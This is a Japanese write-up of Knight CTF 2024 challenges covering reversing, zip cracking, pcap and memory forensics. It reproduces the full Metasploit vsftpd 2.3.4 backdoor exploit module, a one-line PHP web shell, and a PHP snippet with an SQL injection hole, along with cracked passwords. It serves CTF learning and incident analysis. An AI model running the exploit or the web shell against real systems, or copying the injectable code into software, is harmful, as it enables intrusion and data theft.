Knight CTF 2024 に 0nePadding で参加していました。
時間的な問題もありあまり解けませんでしたが、最終順位は 68 位でした。
珍しく Forensic もりもりな CTF で楽しく参加できました。
もくじ
- Dragon’s Binary(Rev)
- Knight Armoury(Rev)
- Flag Hunt!(Forensic)
-
- Vicker IP(Forensic)
- Basic Enum(Forensic)
- Vulnerable Service(Forensic)
- PORT(Forensic)
- CVE ID(Forensic)
- Famous Tool(Forensic)
- Hidden File(Forensic)
- Confidential(Forensic)
- BackDoor(Forensic)
- BackDoor Path(Forensic)
- Super Admin(Forensic)
- Admin Flag(Forensic)
- Vuln(Forensic)
- Famous Tool 2(Forensic)
- Something Interesting(Forensic)
- Hidden Page(Forensic)
- DB Details(Forensic)
- API Key(Forensic)
- まとめ
Dragon’s Binary(Rev)
In the mystical land of Eldoria, a fierce dragon had captured the kingdom’s most precious treasure, hiding it behind a magical binary. The bravest knight of the realm, Sir Emeric, known for both sword and wit, embarked on a quest to retrieve the treasure. To succeed, he must reverse the dragon’s binary. As Sir Emeric’s trusted apprentice in “Dragon’s Binary” you are tasked with solving the cipher to reveal the hidden treasure and help vanquish the dragon’s spell. Your journey is filled with mystery and danger, where only the sharpest mind can prevail.
問題バイナリとして与えられたファイルを Ghidra で解析すると、標準入力から受け取ったパスワードを検証していることがわかります。
この検証は、ハードコードされた文字列(letMeIn)と IamDragon を XOR したものを、入力値を XOR したものと比較していることがわかります。
正しい Flag は KCTF{letMeIn}
でした。
Knight Armoury(Rev)
In a realm where magic and technology merge, lies the Knight Armoury, home to the legendary “Sword of Bytes.” Forged by Knight Squad, this digital sword holds immense power. Your mission: reverse the ancient binary guarding the Armoury and claim the sword to become the protector of the digital kingdom. Only the wisest and most skilled in reverse engineering can succeed. Are you ready to embark on this epic journey?
問題バイナリを Ghidra で解析するとパスワードがすぐにわかりました。
これをサーバに送り込むと Flag を取得できました。
Flag Hunt!(Forensic)
Hunt your way through the challenge and Capture The hidden Flag!!!
問題バイナリとして与えられた暗号化 ZIP ファイルを john でハッシュクラックすると解凍用のパスワードを特定できます。
zip2john chall.zip > hash.txt
# 辞書を使用して解析
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
ファイルを展開すると、大量の画像ファイルと、key.wav というファイルが見つかりました。
画像ファイルについては md5 ハッシュで比較すると、1 つだけ異なる Hash 値を持つファイルが見つかります。
また、key.wav を解析ツールにぶち込んでモールス信号をデコードすると、morsecodetotherescue!!
というパスフレーズを特定できます。
参考:Morse Code Adaptive Audio Decoder | Morse Code World
あとはこのパスフレーズを使用して img725.jpg に対して steghide extract を実行すると Flag を取得できます。
Networking
Vicker IP(Forensic)
Hi! It’s good to see you again in my networking series. There are total 18 challenges in this series & based on real life events of how can a server be compromised. Please download the attachment which will be used to answer all the questions. Don’t make it too complex. Just keep it simple. Hope you’ll solve them all. Wish you all a very good luck.
Scenario: Recently one of Knight Squad’s asset was compromised. We’ve figured out most but need your help to investigate the case deeply. As a SOC analyst, analyze the pacp file & identify the issues.
So let’s start with the basic.
What is the victim & attacker ip?
問題バイナリとして与えられた pcap ファイルを解析していく一連の問題です。
最初の問題では、Victim と Attacker の IP アドレスを特定する必要があります。
適当に攻撃クエリっぽい URL をリクエストしているパケットを特定することで Attacker と Victim を特定できます。
このパケットを見てみると Web スキャンのような攻撃を仕掛けていることがわかります。
というわけで、正しい Flag は KCTF{192.168.1.8_192.168.1.7}
になりました。
Basic Enum(Forensic)
What tool did the attacker use to do basic enumeration of the server?
Please use the attachment of the first challenge.
Flag Format: KCTF{toolname}
次の問題では、Web スキャンを仕掛けているツールを特定する必要があります。
アクセス履歴を見ると、Nikto という文字の入ったファイルにアクセスしている状況を確認できました。
そのため、KCTF{nikto}
が正しい Flag になりました。
Vulnerable Service(Forensic)
What service was vulnerable to the main server?
Please use the attachment of the first challenge.
Flag Format: KCTF{serviceversion} >>alllower_case
次に Flag となる情報は、Attacker が悪用した脆弱性を持つサービスとそのバージョンのようです。
一通り攻撃パケットを見ていくと、Attacker が FTP を使用して足掛かりを取得していることがわかります。
FTP のパケットを順に見ていくと、以下のような不自然なパケットが見つかります。
これは、vsFTPd 2.3.4 に埋め込まれたバックドアを悪用したもので、:)
を含むユーザ名で FTP 接続を試みた際に TCP 6200 ポートのバックドアを起動する脆弱性です。
vsftpdのバージョン2.3.4のソースファイル「vsftpd-2.3.4.tar.gz」にリモートから任意のコードの実行を可能にするバックドアコードが含まれていました。 バックドアコードを含んだ状態でvsftpdをインストールおよび起動すると、特定の文字列「:)」を含むユーザー名でFTP接続した際にバックドアポートであるTCP6200番がオープンします。バックドアポートにリモートから接続すると任意のコマンドが実行可能となります。
参考:vsftpd 2.3.4に含まれたバックドアに関する検証レポート | NTTデータ先端技術株式会社
そこで、正しい Flag は KCTF{vsftpd_2.3.4}
となります。(Lower Case にする必要がある点を見落としていて Flag を通すことができませんでした。。)
PORT(Forensic)
What was the port number of the reverse shell of the server?
Please use the attachment of the first challenge.
Flag Format: KCTF{port}
次の問題は、Attacker がリバースシェルを取得したポートが Flag になります。
これは先ほど特定した脆弱性の情報を調べれば 6200 であることがわかります。
WireShark で見てみると、どうやら root ユーザのシェルを取得しているようです。
正しい Flag は KCTF{6200}
になります。
CVE ID(Forensic)
What’s the CVE id for the vulnerable service?
Please use the attachment of the first challenge.
これも脆弱性について調べた情報を元に正しい Flag が KCTF{CVE-2011-2523}
であることを特定できます。
参考:vsftpd 2.3.4 - Backdoor Command Execution - Unix remote Exploit
Famous Tool(Forensic)
The attacker used a popular tool to gain access of the server. Can you name it?
Attacker がサーバへのアクセスを取得した有名ツールを特定せよという問題です。
とりあえず脆弱性がわかっているので、vsftpd 2.3.4 backdoor tool
などで検索してみると上位が大体 Metasploit でした。
このまま KCTF{metasploit}
を試しても正解できますが、せっかくなので中身を見ていきます。
##
# $Id: vsftpd_234_backdoor.rb 13099 2011-07-05 05:20:47Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the VSFTPD download
archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between
June 30th 2011 and July 1st 2011 according to the most recent information
available. This backdoor was removed on July 3rd 2011.
},
'Author' => [ 'hdm', 'mc' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13099 $',
'References' =>
[
[ 'URL', 'http://pastebin.com/AetT9sS5'],
[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
],
'Privileged' => true,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Jul 3 2011',
'DefaultTarget' => 0))
register_options([ Opt::RPORT(21) ], self.class)
end
def exploit
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_status("The port used by the backdoor bind listener is already open")
handle_backdoor(nsock)
return
end
# Connect to the FTP service port first
connect
banner = sock.get_once(-1, 30).to_s
print_status("Banner: #{banner.strip}")
sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")
if resp =~ /^530 /
print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
disconnect
return
end
if resp !~ /^331 /
print_error("This server did not respond as expected: #{resp.strip}")
disconnect
return
end
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
# Do not bother reading the response from password, just try the backdoor
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_good("Backdoor service has been spawned, handling...")
handle_backdoor(nsock)
return
end
disconnect
end
def handle_backdoor(s)
s.put("id\n")
r = s.get_once(-1, 5).to_s
if r !~ /uid=/
print_error("The service on port 6200 does not appear to be a shell")
disconnect(s)
return
end
print_good("UID: #{r.strip}")
s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
handler(s)
end
end
参考:vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) - Unix remote Exploit
コードを見てみると、FTP サービスに送り込んでいる攻撃クエリの作り方や、シェル確保後の実行コマンドが Metasploit のスクリプトと一致していることがわかります。
Hidden File(Forensic)
What’s the flag of the hidden file?
Please use the attachment of the first challenge.
リバースシェルの一連のパケットをトレースすると、以下のように Fl4g.tXT
というファイルのデータを取得していることがわかります。
.]0;root@kctf: /root..[01;32mroot@kctf.[00m:.[01;34m/root.[00m# cat .Fl4g.tXT
cat .Fl4g.tXT
Hi!
You've come this far analyzing the file. Good Job. :D
Here's something for you. Hope you get it.. ;P
37n3vq6rp6k05ov33o5fy5b33sj3rq2sy4p56735853h9
この 37n3vq6rp6k05ov33o5fy5b33sj3rq2sy4p56735853h9
という文字列が怪しそうですが、このままでは何のデータなのかわかりません。
他の方の Writeup を読む限り、どうやら Guess で暗号化方法を特定するのが想定解っぽいです。
Twin-Hex Cipher について知識があれば、確かに出力結果がよく似ていることを予想できそうです。(知らなかった)
以下のサイトで Flag を復号すると正しい Flag が KCTF{ExPloItiNg_S3RvEr_Is_fUN}
であることを特定できます。
参考:Twin-Hex Cypher encoder and decoder from CalcResult Universal Calculators
Confidential(Forensic)
There’s something confidential. Can you find it?
HTTP オブジェクトを列挙すると、maybeconfidential.zip というファイルが盗まれていることがわかります。
このファイルを解凍すると、以下のような画像が埋め込まれた Doc ファイルが見つかります。
画像ファイルを取り出しても何も見つからなかったので Doc ファイルを unzip してみたところ、Flag を含むファイルを見つけることができました。
BackDoor(Forensic)
What is the backdoor file name?
リバースシェルの一連のパケットをトレースしていくと、<?php echo system("$_GET['cmd']");?>
を埋め込んだ PHP ファイルが .621b4CkD0oR.php5
として作成されていることがわかります。
そこで、正しい Flag が KCTF{.621b4CkD0oR.php5}
であることを特定できます。
BackDoor Path(Forensic)
What is the full path of the backdoor in the server?
これは先ほど確認したバックドアファイルのパスがそのまま Flag になります。
KCTF{/var/www/html/app/assets/.621b4CkD0oR.php5}
が正しい Flag です。
Super Admin(Forensic)
What is the super admin password in the web application?
リバースシェルの通信トレースを読むと mysqldump -u db_user -p kctf2021 > backup.sql
コマンドでデータベースをダンプしたファイルを盗み出されていることがわかります。
どうやらこのファイルが Attachment で提供されたダンプファイルに一致していそうです。
適当なオンラインツールで 5f27f7648285dec7954f5ee1ad696841
のハッシュを解析するとパスワードが letmeinroot
であることを特定できます。
正しい Flag は KCTF{letmeinroot}
でした。
Admin Flag(Forensic)
Can you find the Admin Flag of the web server.?
HTTP オブジェクトを見ると、app_bak.zip というファイルが盗まれていることがわかります。
これを展開していくと、root ロールかどうかを検証しているコードが見つかります。
このままでは Flag にならなかったので CyberChef で Magic にかけたところ、Base85 でエンコードされた Flag であることを特定できました。
正しい Flag は KCTF{y0U_G0t_tHe_AdMin_Fl4g}
でした。
Vuln(Forensic)
What was the vulnerability on the edit task page & what parameter was vulnerable?
パケットを見ると、processedittask.php に対して SQLi と思われる攻撃が繰り返し行われていることがわかります。
先ほどダウンロードしたアプリケーションのソースコードを見ると、以下のようなコードが埋め込まれており、GET リクエストに taskId が存在する場合には、その値をそのまま SQL クエリとして実行できる実装になっていることがわかります。
<?php
session_start();
include("../models/db.php");
if(isset($_GET['taskId'])){
$uuid = $_GET['taskId'];
$sql = "SELECT * FROM `tasks` WHERE `uuid` = $uuid";
$result = mysqli_query($conn, $sql);
}
if(isset($_POST['update_task_btn'])){
if(isset($_POST['taskDescription']) && isset($_POST['taskStatus'])) {
$taskDescription = mysqli_real_escape_string($conn, $_POST['taskDescription']);
$taskStatus = mysqli_real_escape_string($conn, $_POST['taskStatus']);
$sql = "UPDATE `tasks` SET `task_desc` = '$taskDescription', `task_status` = '$taskStatus' WHERE `uuid` = $uuid";
$result = mysqli_query($conn, $sql);
if($result){
echo "Task Updated Successfully. Redirecting...";
header("refresh:2; url=../views/tasks.php");
}else{
echo "Unknown Error. Please contact admin.";
die();
}
}
}
?>
そのため、正しい Flag は KCTF{sqli_taskId}
になります。
Famous Tool 2(Forensic)
What tool did the attacker use to identify the vulnerability of edit task page? Flag Format: KCTF{toolname/version}
SQLi のリクエストを発行しているパケットを見ればすぐにわかる通り、KCTF{sqlmap/1.7.10#stable}
が正しい Flag になります。
Something Interesting(Forensic)
There’s something interesting. Can you find it? Flag Format: KCTF{fl4G}
問題文のヒントが少なすぎてわかりませんでしたが、どうやら取得した backup.sql の中の暗号化文字列を ROT47 で復号したものが正しい Flag となったようです。
Hidden Page(Forensic)
There was a hidden page which was only accessible to root & was removed from the web app for security purpose. Can you find it?
アプリケーションのコードを読むと、root ユーザのときだけアクセスできる terminal-13337.php というページがあることがわかります。
そのため、KCTF{terminal-13337.php}
が正しい Flag になります。
DB Details(Forensic)
What is the database username & databasename?
これもコード見ればわかります。
後半の問題なのでサービス問題なのかも。
API Key(Forensic)
What’s the API Key? Flag Format: KCTF{API-KEY}
上に同じく。
最後の問題にして一番簡単かもしれないですね。
Digital Forensics
OS(Forensic)
My boss, Muhammad, sent me this dump file of a memory. He told me that this OS has a malware virus that runs automatically. I need to find some more information about this OS, and the hacker also created some files in this OS. He gave me a task to solve this within 24 hours. I am afraid. Will you please help me? My boss sent some questions; please solve them on my behalf. There are total 7 challenges in this series. Best of luck.
What is the OS version?
Flag Format: KCTF{1.1.1111.11111}
Windows のダンプファイルが与えられるので OS のバージョン情報を特定せよとの問題でした。
!analyze -v
をかけて表示されたバージョン情報を含む KCTF{7.1.7601.24214}
が Flag になりました。
Password(Forensic)
What is the login password of the OS?
解析中のダンプファイルから OS のログインパスワードを取得すればよさそうです。
WinDbg コマンドを組み合わせてレジストリ情報から抜き出してもいいですが、面倒なので Volatility を使うことにします。
REMNux 環境で vol3 -f KnightSquad.DMP windows.hashdump
コマンドを使用しました。
ここから、siam というユーザのパスワードが squad
であることを特定できました。
正しい Flag は KCTF{squad}
になります。
IP Addr(Forensic)
What is the IP address of this system?
システムの IP アドレスを求める問題です。
こちらも面倒なので Vollatility で解きます。
適当に vol3 -f KnightSquad.DMP windows.netscan
でローカルアドレスを調べました。
正しい Flag は KCTF{10.0.2.15}
になることを特定できました。
Note(Forensic)
My boss has written something in the text file. Could you please help me find it?
次は何らかのテキストファイルに書き込まれた情報を抽出せよとの問題のようです。
こちらも Vollatility で解く方が簡単そうです。
とりあえず vol3 -f KnightSquad.DMP windows.filescan.FileScan
コマンドでファイルオブジェクトを収集します。
結果を grep すると、ユーザプロファイル配下に以下の 3 つのテキストファイルが存在していそうなことがわかります。
だめもとでこれらのファイルに対して windows.dumpfiles.DumpFiles
をかけてみましたが残念ながらファイルは取得できませんでした。
テキストファイルなどはキャッシュされていない場合が多いので仕方ないですね。
次は windows.cmdline.CmdLine
を試します。
これを見ると、Notepad のプロセスが 1 つ存在していることがわかります。
プロセスメモリの中身を読むため、WinDbg を使用します。
まずは notepad.exe のプロセスオブジェクトのアドレスを特定します。
このプロセスにコンテキストを変更して調べようと思ったものの、ページアウトしてしまっているようで調査できませんでした。
やけくそで strings をかけてみたところ、次の Execution の Flag を取得することができましたが、この問題の Flag は取得できませんでした。
色々調べた結果、 windows.dumpfiles.DumpFiles
では取得できなかったファイルが、Volatility 2 の dumpfiles を使うと取得できる場合あることがわかりました。(違いがいまいちよくわかってないです。キャッシュマネージャから取ってくるわけではないのかも?)
そこで、volatility_2.6_win64_standalone.exe -f KnightSquad.DMP --profile=Win7SP1x64_23418 dumpfiles -Q 0xb9ba7bb0 --name file -D outdir
でテキストファイルを出力しました。
テキストファイルの中には、Base64 エンコードされた Flag が埋め込まれていたため、正しい Flag が KCTF{Respect_Y0ur_Her4nki}
であることを特定できました。
S0NURntSZXNwZWN0X1kwdXJfSGVyNG5raX0= RISC OS
RISCOS
Fire OS
FireOS
macOS
mac OS
Mac OS X
Execution(Forensic)
My leader, Noman Prodhan, executed something in the cmd of this infected machine. Could you please figure out what he actually executed?
ダンプファイルを strings した結果から、KCTF{W3_AR3_tH3_Kn1GHt}
が Flag になることがわかりました。
Path of the Executable(Forensic)
What is the path folder of the executable file which execute privious flag?
strings -a -t d -el KnightSquad.DMP | grep KCTF{
で grep した結果を見ると、C:\Users\siam>C:\Users\siam\Documents\windows.bat
が前回の Flag を出力していることがわかります。
そのため、KCTF{C:\Users\siam\Documents}
が正解の Flag であることがわかりました。
Malicious(Forensic)
What is the malicious software name?
windows.filescan.FileScan
を実行した際の出力の中に怪しげなファイルがあることをすでに特定済みでしたので、KCTF{MadMan.exe}
が正しい Flag になることがわかりました。
まとめ
問題数多くて Writeup 書くの疲れました。
やっぱフォレンジックは楽しいですね。